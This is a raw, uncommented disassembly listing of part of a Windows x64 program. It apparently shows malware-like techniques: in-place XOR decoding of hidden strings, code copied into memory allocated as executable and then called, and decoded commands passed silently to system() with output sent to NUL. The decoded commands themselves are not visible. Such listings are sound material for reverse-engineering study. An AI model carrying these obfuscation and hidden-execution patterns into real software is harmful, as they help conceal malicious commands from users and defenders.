mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf8]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x980]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6608]
lea rcx, [rsp + 0x35]
call fcn.14001ec60
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14000a1a5
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000a163
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000a070
cmp r8d, 0x39
jge 0x14000a1a5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14000a170
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x9a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x100], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000a230
mov rdx, rbx
cmp rax, rsi
je 0x14000a21f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000a207
jmp 0x14000a230
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000a311
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000a259
mov r8, rbx
jmp 0x14000a2f0
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000a262
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x100]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x9a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x980]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x108]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x9c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6648]
lea rcx, [rsp + 0x36]
call fcn.14001eca0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14000a4e5
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000a4a3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000a3b0
cmp r8d, 0x39
jge 0x14000a4e5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14000a4b0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x9e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x110], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000a570
mov rdx, rbx
cmp rax, rsi
je 0x14000a55f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000a547
jmp 0x14000a570
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000a651
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000a599
mov r8, rbx
jmp 0x14000a630
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000a5a2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x110]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x9e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x9c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x118]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0xa00]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6688]
lea rcx, [rsp + 0x37]
call fcn.14001ece0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14000a825
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000a7e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000a6f0
cmp r8d, 0x39
jge 0x14000a825
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14000a7f0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0xa20]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x120], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000a8b0
mov rdx, rbx
cmp rax, rsi
je 0x14000a89f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000a887
jmp 0x14000a8b0
mov r10, qword [rdi + rdx*8 + 0x100f90]
test r10, r10
jne 0x14000a98f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14000a8d9
mov r10, rbx
jmp 0x14000a96e
mov rax, rsi
mov rcx, r10
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x14000a8e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r10
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x120]
mov rcx, qword [r12]
call r10
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0xa20]
call fcn.140022f30
nop
lea rcx, [rbp + 0xa00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xa40]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xa60]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4c28]
lea rcx, [rsp + 0x38]
call fcn.14001ed20
mov r10, rax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 0x2c], 0
je 0x14000ab65
mov r8d, ebx
cmp r14d, 2
jl 0x14000ab23
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000aa30
cmp r8d, 0x2d
jge 0x14000ab65
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000ab30
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xa80]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xaa0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xac0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xae0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xae0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xac0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xaa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xa80]
call fcn.140022f30
nop
lea rcx, [rbp + 0xa60]
call fcn.140022f30
nop
lea rcx, [rbp + 0xa40]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xb00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xb20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4c58]
lea rcx, [rsp + 0x39]
call fcn.14001ed60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000adb5
mov r8d, ebx
cmp r14d, 2
jl 0x14000ad73
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000ac80
cmp r8d, 0x2d
jge 0x14000adb5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000ad80
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xb40]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xb60]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xb80]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xba0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xba0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xb80]
call fcn.140022f30
nop
lea rcx, [rbp + 0xb60]
call fcn.140022f30
nop
lea rcx, [rbp + 0xb40]
call fcn.140022f30
nop
lea rcx, [rbp + 0xb20]
call fcn.140022f30
nop
lea rcx, [rbp + 0xb00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xbc0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xbe0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4c88]
lea rcx, [rsp + 0x3a]
call fcn.14001eda0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000b005
mov r8d, ebx
cmp r14d, 2
jl 0x14000afc3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000aed0
cmp r8d, 0x2d
jge 0x14000b005
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000afd0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xc00]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xc20]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xc60]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc60]
call fcn.140022f30
nop
lea rcx, [rbp + 0xc40]
call fcn.140022f30
nop
lea rcx, [rbp + 0xc20]
call fcn.140022f30
nop
lea rcx, [rbp + 0xc00]
call fcn.140022f30
nop
lea rcx, [rbp + 0xbe0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xbc0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xc80]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xca0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4cb8]
lea rcx, [rsp + 0x3b]
call fcn.14001ede0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000b255
mov r8d, ebx
cmp r14d, 2
jl 0x14000b213
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b120
cmp r8d, 0x2d
jge 0x14000b255
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000b220
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xcc0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xce0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xd00]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xd20]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd20]
call fcn.140022f30
nop
lea rcx, [rbp + 0xd00]
call fcn.140022f30
nop
lea rcx, [rbp + 0xce0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xcc0]
